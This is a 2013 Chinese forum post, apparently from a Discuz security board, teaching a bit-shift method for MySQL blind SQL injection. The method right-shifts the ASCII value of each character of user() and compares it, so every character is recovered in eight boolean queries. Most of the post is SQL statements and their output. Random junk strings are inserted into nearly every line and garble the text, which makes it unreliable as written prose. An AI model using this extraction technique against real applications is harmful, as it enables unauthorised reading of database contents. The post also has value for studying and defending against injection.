找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2046|回复: 0
打印 上一主题 下一主题

关于通过对8bit的ascii做右位移提高mysql盲注效率

[复制链接]
跳转到指定楼层
楼主
发表于 2013-3-7 13:25:30 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
通过这种方法我们只需要做8次select来确定一个键值的第一位或第n位+ V* @0 f3 e( H$ Y

5 L1 D6 {* T" N
- k0 ~" b% ~. K& J7 i/ e7 ?8 v4 L
6 B& _2 I" o3 ~) p: I$ |* |2 o下面将以查询mysql数据库当中user()的第一位为例:8 t6 @# ]& P( C5 W1 a

& u6 d2 Q) I2 T6 h$ z) W  u7 ? ' O7 u( x. ?/ V+ s: ~/ p5 B- J
0 K8 {: N; n+ y
ps:第二位,第三位依次类推 select substr(user(),2,1) mysql> select substr(user(),3,1)
6 T6 U( l3 U8 X% j, y: y2 ~1 J. V, T5 \: f% C: m3 O, c6 ^+ q
) p; F! G5 Y* I$ ^1 T$ K  H" s
1 F7 [4 x! B% p' p/ P- Z9 N
首先执行如下sql语句:1 l5 @7 B2 F- j
8 M1 r& o( X: C% H3 ~- Z% C
1 r1 e- N5 Z7 c7 r3 I+ Q  x

! `1 q: u7 M; ?8 Emysql> select (ascii((substr(user(),1,1))) >> 7)=0;
$ G2 u* R9 a' f/ C/ X: ?* z  |) e" I' E. W

/ l# v9 e, q, y3 \. ?7 K2 ~. i5 i- A" x& B7 k! l
我们将对这个8bit的ascii也就是user()的第一位做7次右偏移,也就是偏移到8bit的ascii的/ c  z9 Q& c- |* p. v! D

: j. T# A! `( P3 t) N - H$ Q! B  j' L, f. x
, D- J, m$ f0 J5 p$ X
第一位并与0做等运算,如果,运算结果为0 说明第一位不为0,也就为1, ]0 R; T0 i0 o: `% E: [5 E) n4 r

5 c! X' [3 ^5 T5 z# O* t) T! L 0 T) m; {0 p  P* u! k  v

, B( s/ {6 f% j2 |6 @0 e如果运算结果为1,说明第一位为0,不为1
4 F5 y" e/ {# A( Q
& r( K8 W6 v' I 9 q8 p' A: s4 @) F
  b& q' n, P" K& d* ^" V
+————————————–+: \: W; ]- F* z1 ?9 h. W/ R
) n( B0 |" n2 B% o. _5 [
| (ascii((substr(user(),1,1))) >> 7)=0 |& T. z4 s; K' a/ n! ~6 R& \# a

/ r7 @- N* J/ j6 C+————————————–+
; t1 l' z& Q. o% @* w" K; |' P1 f$ c+ @. k" h* J' j# G2 c
| 1 |
" V: {! t/ C" |$ Y% Y! G% j2 Y, I  y2 h, P5 F. \
+————————————–+
- T/ N& L- O0 g' {  j0 m2 C9 W! a& }, _% P2 g! p
1 row in set (0.00 sec); A7 ~1 T/ N& l7 p) ~  K. m: |5 o
% g( i- d" H: v4 w
这样我们就确定这个8bit的ascii的第一位为0" C) H1 H% @: l, n  I: c7 }  r
+ B5 h  g5 j* s+ ^3 L! W2 X

" C: Z0 [, j3 O4 x! b2 C1 d2 ], {2 \; r# {/ c3 u
第二次我们来做6次右偏移来确定前两位) X4 }- j9 J2 I! O5 v+ z8 i& [
6 i: G/ j; _7 P' d

1 F2 C- l  w9 R8 m$ E0 Z' v5 B
$ Z# c' m6 M) ]# X5 P6 M前两位可能是01或00,即依然可以与0做比较,
& {2 R6 y, X1 R6 N- C
* F+ g$ t* ]! [) Nmysql> select (ascii((substr(user(),1,1))) >> 6)=0;% m' y# P  L& r9 z! g; T6 L3 t, @

9 k6 o* K8 Q0 ?( u. T& b+————————————–+& b; g1 s! _; O8 S2 O5 ^; t7 |( O
9 t  g5 g3 x/ y6 X. H( l' I
| (ascii((substr(user(),1,1))) >> 6)=0 |) x" c$ F4 Q9 f9 @
+ d) V; n( b+ e
+————————————–+" B4 o' ]5 S- s6 d$ U. B/ ^+ l, e
2 {) z7 }: W/ {  `. T4 ^9 g
| 0 |2 W- _0 ]! i7 ^# m$ Y! t  J4 A5 \
- D, T9 S) |3 ]6 o/ D' w
+————————————–+
6 w  t( _( S5 _$ H& K, j& a8 y
) }4 |  X; z2 G1 row in set (0.00 sec). P. p% n& D+ v% J0 X
& X' |1 {4 }& }7 R3 x8 ^# i

1 P$ C. w3 P; Z: v, h
3 Z5 `3 ^+ W$ x2 |, O结果为0,即第二位为18 w7 J5 H+ T  }7 b, _, x
2 e  ~3 ^, K" Y4 l# _

; X' J* U& Y- D% w4 K- L; L
6 M  C7 O( l  v* r/ H& f' N+ H开始猜测前三位为010或011* r4 ~4 j4 ~+ M3 c5 M

+ V8 k2 `, H! M. N, h
; H3 G" C, H/ K/ l
! o) I; v- z5 [' _0 d7 D- Z( W9 G: v让我们看看010和011的ascii码是多少, G/ p9 }$ Q7 \9 r2 f. b/ d$ s

  Z) f5 q* C7 G: }+ d! }5 i) `
3 F" X" g9 n' k! v/ b
6 H# ~- f. d( ^; s0 y, \% C0 p分别查询select b’011′ select b’010′4 I3 G7 i4 v4 o; q0 F

+ k: l( R1 p, y1 w% {0 a$ F : N3 m2 M# i' b, V1 \" Z3 t

( ^  c3 w, ?- g! b+ Z- J- \获得结果 010 = 2 011 = 3/ m/ R7 b5 T3 p* s2 c9 B

! H' u& E! q3 x" j- J: l , q4 j  H+ n( C$ P& J3 B
8 @  b& x6 Q" `# k9 |2 g5 x, e
执行如下sql:
9 m: u* V1 r" P* y0 n# W; \# M3 p4 Z" ~. b" m0 g( S: z
' E) ~6 R5 K  S+ K  W: t7 S

/ [# F5 r' Q1 r4 J* H; imysql> select (ascii((substr(user(),1,1))) >> 5)=2;' z5 k6 ^6 I1 p6 ~9 a) J1 @

/ z. H2 y/ \. e+————————————–+- s' W: _) \5 ?% F6 f7 |* ?  j" s5 g

! q4 G6 m% z0 G" H| (ascii((substr(user(),1,1))) >> 5)=2 |. m% h" C9 U, @1 B3 i' R; n' z8 p
" {* }/ ?& e, z2 E; i% I
+————————————–+! c2 Q+ q1 }/ i4 ~  }3 i) X# M+ n
9 I1 y+ b' r! V! W6 f# Z0 `
| 0 |
- I/ R" N. S3 L/ q+ v# U4 [+ \7 J5 |2 N
+————————————–+
8 r) X" t7 m/ ^
# a2 [) ^/ F7 Q0 P' s# h3 x7 }即前三位不为010,而是011
' q: G/ [6 p  D1 s  D
+ h+ p; H. {& z. w
5 ~2 o, j; Y- k3 c6 B/ ]$ F
1 I5 q& S# a( P7 [4 n( _5 D3 j0 h' p直到获得最后一位; C$ ]; T, r! q8 }- B4 m
; |5 r6 Z5 b, {1 L+ F) O

: X9 d3 i! _4 P
( Y9 _8 \0 f( \& o2 L' z最终结果为:01110010
# ?- Y. E# t* @- K) I; g! e; n; h! |3 n: H) F

7 l" v; c& f/ D+ Q2 ~* k/ q4 o7 S
" T& y" o( \- L  y' T5 |. A转换一下:* W6 w5 y5 D- A6 X8 u$ ?2 t
; r# H0 a1 y* \- M/ h7 E

. k1 x  [' E* e& \, S* `' Z# ^0 {' a: s
select b’01110010′5 J, l+ S. Z) C. `, A$ Z! j
0 Y( ]0 G+ b2 f
, z  j: |) `) Z, W# X
& W! w6 y% V/ `2 e1 d
查询结果) }( b! P/ d: j+ A0 Z
' S) f" d+ \5 W4 N$ ]7 ?( Z; b

( F2 P7 A, m2 I: a; v: b5 f
3 v6 ]% A( t* @6 ]/ h* y+ c+————-+0 r+ p1 d% F- t' \4 K4 M

0 K- n# M! q7 Y! ~9 U" Z! M| b’01110010′ |
1 _# o9 X) r2 E) i) J% ^5 Z* g/ p; c/ o* D
+————-+
: R0 R0 H3 ~  U' Z9 M3 f" |. P
) C1 ?: c! n; F| r |
0 S1 Y% t4 d$ U+ k, a4 j. J+ g) G* c9 }  V  z% H5 V  `
+————-+
8 I; P" }# d8 X  s  i+ \/ K. x/ w- }
1 row in set (0.00 sec)
& N, Z7 H' _( x3 N/ }) {- }# @# g1 a
$ e+ ^, K* w! {  ^. \

2 [1 p( q- {8 c- v' x: }这样我们就获得了user()的第一位.其它位依此类推. k( `- H* ~/ ?9 @( i

  U' o) C' I8 ?! t* g0 K' P9 b
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表